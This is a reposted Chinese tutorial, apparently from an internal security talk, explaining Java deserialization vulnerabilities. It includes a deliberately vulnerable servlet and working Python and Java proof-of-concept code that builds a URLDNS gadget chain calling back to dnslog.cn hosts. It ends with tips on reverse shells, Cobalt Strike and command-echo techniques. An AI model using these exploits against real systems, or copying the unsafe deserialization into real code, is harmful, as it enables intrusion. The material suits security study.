淺析Java反序列化漏洞議題


淺析Java反序列化漏洞議題

一次部門、團隊內部分享議題,拿出來分享一下

反序列化漏洞歷史

2015年11月6日,FoxGlove Security安全團隊的@breenmachine 發布的一篇博客中介紹了如何利用Java反序列化漏洞,來攻擊最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS這些大名鼎鼎的Java應用,實現遠程代碼執行。

然而事實上,博客作者並不是漏洞發現者。博客中提到,早在2015年的1月28號,Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上給出了一個報告[5],報告中介紹了Java反序列化漏洞可以利用Apache Commons Collections這個常用的Java庫來實現任意代碼執行,當時並沒有引起太大的關注,但是在博主看來,這是2015年最被低估的漏洞。

確實,Apache Commons Collections這樣的基礎庫非常多的Java應用都在用,一旦編程人員誤用了反序列化這一機制,使得用戶輸入可以直接被反序列化,就能導致任意代碼執行,這是一個極其嚴重的問題,博客中提到的WebLogic等存在此問題的應用可能只是冰山一角。

雖然從@gebl和@frohoff的報告到現在已經過去了將近一年,但是@breenmachine的博客中提到的廠商也依然沒有修復,而且國內的技術人員對這個問題的關注依然較少。為了幫助大家更好的理解它,盡快避免和修復這些問題,本文對此做了一個深入的漏洞原理和利用分析,最后對上面提到的這些受影響的應用,在全球范圍內做一個大概的統計。

序列化與反序列化機制

序列化是讓Java對象脫離Java運行環境的一種手段,可以有效的實現多平台之間的通信、對象持久化存儲。

Java 序列化是指把 Java 對象轉換為字節序列的過程,便於保存在內存、文件、數據庫中,ObjectOutputStream類的 writeObject() 方法可以實現序列化。反序列化是指把字節序列恢復為 Java 對象的過程,ObjectInputStream 類的readObject()方法用於反序列化。

序列化的前提是要序列化的對象必須實現Java.io.Serializable接口。

代碼實例:

編寫一個學生類:

package com.company;

import java.io.Serializable;

public class Person implements Serializable {
    private int age;
    private String name;

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public Person() {
    }

    public Person(int age, String name) {
        this.age = age;
        this.name = name;
    }
}

序列化代碼:

package com.company;

import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class Main {

    public static void main(String[] args) throws IOException {
        Person xiaoming = new Person(18, "xiaoming");
        ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("1.txt"));

        oss.writeObject(xiaoming);
    }
}

反序列化代碼:

    public static void main(String[] args) throws IOException, ClassNotFoundException {

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.txt"));
        Person person = (Person)ois.readObject();
        String name = person.getName();
        System.out.println(name);


    }
}

反序列化漏洞分析

在前面拋出的一個問題里面,反序列化明明是一個Java當中再正常不過的機制,為什么會產生反序列化漏洞呢?其實是因為在一些類中,會重寫readobjetc方法。導致了反序列化的時候,調用的時候重寫后的readobjetc方法調用了其他的一些方法,所以可能就會導致反序列化漏洞的產生。但是他並不是直接就能夠去執行命令,而是需要通過一條構造好的惡意類,方法中的互相調用直到調用到Runtime這個方法才能去進行命令執行。在反序列化這一步驟並沒有什么安全問題,但是如果反序列化的數據是可控的情況下,那么我們就可以從某個輸入點,輸入惡意代碼,再去查找在哪個點,我們的輸入會被一層一層的帶去到我們的觸發點去,而這一步叫做尋找利用鏈的步驟。

漏洞Demo

import sun.misc.BASE64Decoder;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;


@WebServlet("/demoServlet")
public class demoServlet extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String cookie = request.getParameter("cookie");
        byte[] bytes = new BASE64Decoder().decodeBuffer(cookie);
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        try {
            Object o = objectInputStream.readObject();
            System.out.println(o);
        } catch (ClassNotFoundException e) {


        }
    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    this.doPost(request, response);
    }
}

POC編寫思路

在shiroscan里面其實用到的也是URLDNS鏈,在編寫POC的時候,可以借助ysoserial工具輔助來進行編寫POC。其實網上很多的poc都是借助ysoserial來進行生成payload的。

ysoserial地址:ysoserial

ysoserial是一款在Github開源的知名java 反序列化利用工具,里面集合了各種java反序列化payload;

poc代碼:

# -*-* coding:utf-8
# @Time    :  2020/10/16 17:36
# @Author  : nice0e3
# @FileName: poc.py
# @Software: PyCharm
# @Blog    :https://www.cnblogs.com/nice0e3/
import subprocess
import requests

def res_data(dnslog_url):
    popen = subprocess.Popen(['java', '-jar', "ysoserial.jar", 'URLDNS', dnslog_url],shell=True,
                             stdout=subprocess.PIPE,
                             stderr=subprocess.PIPE,
                             stdin=subprocess.PIPE)

    payload = (popen.stdout.read())
    # print(payload)
    return payload


def send(Address_ip,yso_data):

        res = requests.post(url=Address_ip, data=yso_data)
        if res.status_code == 200:
            print("The request was successful.")
            print("res.status_code")
        else:
            print("error")
            print(res.status_code)


def help():
    print("command: python poc.py dnslog.cn Address_ip ")


def main():
    dnslog_url = "http://sizyq6.dnslog.cn"
    url = 'http://localhost:8080/yt_war_exploded/readServlet'
    payload_data = res_data(dnslog_url)
    # print(payload_data)
    send(url, payload_data)


if __name__ == '__main__':
    main()

這里只是作為一個模板演示,代碼漏洞點是通過BASE64后加密的。

Java POC 代碼:

package com.nice0e3;

import sun.misc.BASE64Encoder;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.net.MalformedURLException;
import java.net.URISyntaxException;

public class POC {
    public static void main(String[] args) throws ClassNotFoundException, IOException, IllegalAccessException, NoSuchFieldException, URISyntaxException {
        String dns_url = "http://ud4zkj.dnslog.cn";
        String target_url = "http://localhost:8088/web_war_exploded/demoServlet";
        Object o = Generated.Get_URLDNS(dns_url);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(o);
        byte[] bytes = byteArrayOutputStream.toByteArray();
        String encode = new BASE64Encoder().encode(bytes);
        int Status = Requeses.Get(target_url,encode);
        System.out.println(Status);
    }
}


Generated代碼:


package com.nice0e3;

import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class Generated {

    public static Object Get_URLDNS(String dns_url) throws ClassNotFoundException, NoSuchFieldException, MalformedURLException, IllegalAccessException {
        HashMap<URL, String> hashMap = new HashMap<URL, String>();
        URL url = new URL(dns_url);
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        f.setAccessible(true);
        f.set(url, 0xdeadbeef); // 設一個值, 這樣 put 的時候就不會去查詢 DNS
        hashMap.put(url, "url");
        f.set(url, -1);
        return  hashMap;
    }
}


Requeses 代碼:


package com.nice0e3;
import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.client.utils.URIBuilder;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;

import java.io.IOException;
import java.net.URISyntaxException;

public class Requeses {
    public static int  Get(String target_url,String payload) throws URISyntaxException, IOException {
        CloseableHttpClient client = HttpClients.createDefault();
        URIBuilder uriBuilder = new URIBuilder(target_url);
        uriBuilder.setParameter("cookie",payload);
        HttpGet httpGet = new HttpGet(uriBuilder.build());
        CloseableHttpResponse response = client.execute(httpGet);
        int statusCode = response.getStatusLine().getStatusCode();

        return statusCode;



    }
}

這里是一段POC漏洞驗證代碼,使用了URLDNS鏈來觸發url請求,驗證反序列化漏洞的存在,在shiro的工具里面其實用的一個鏈也是URLDNS鏈,該鏈不依賴於第三方庫。但是利用場景只是在一個能出網的環境下,才能去利用。在實戰情況下大致就分為兩種,一個是能直接出網的機器,一個是不能出網的機器。在能出網的情況下的利用方式就可以使用dnslog去驗證漏洞,然后執行命令的時候也可以直接的去執行反彈shell的命令。拿到反彈的shell后再在CS上去執行命令。那么還有種就是不出網的機器,像這種情況只能去進行直接的構造命令執行的回顯。

Exp編寫要點

想要編寫一個完整的exp工具例如,在一般情況下哪條利用鏈比較通用的。因為在CC1和CC3利用鏈中使用的是

AnnotationInvocationHandler這個類去構造利用鏈,這個類在高版本中對readobject方法進行了修改,導致沒法利用。還有的就是需要去解決一下回顯的問題,如果機器沒法出網,那么這時候去構造命令執行回顯,將執行命令的內容返還給我們。在研究weblogic、fastjson、shiro這些反序列化漏洞時,會遇到比較多的關於回顯的問題。回顯的方式有defineClass類加載器回顯、URLClassLoader異常回顯、tomcat中間件回顯、遠程加載回顯等等方式。當然工具的話肯定是gui的工具用着順手,要開發gui的就需要學習gui的開發框架。其實gui的和命令行的工具開發起來都差不多,無非就是多寫一個輸入框輸入內容,然后在代碼里面去獲取一些內容,然后在進行執行。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM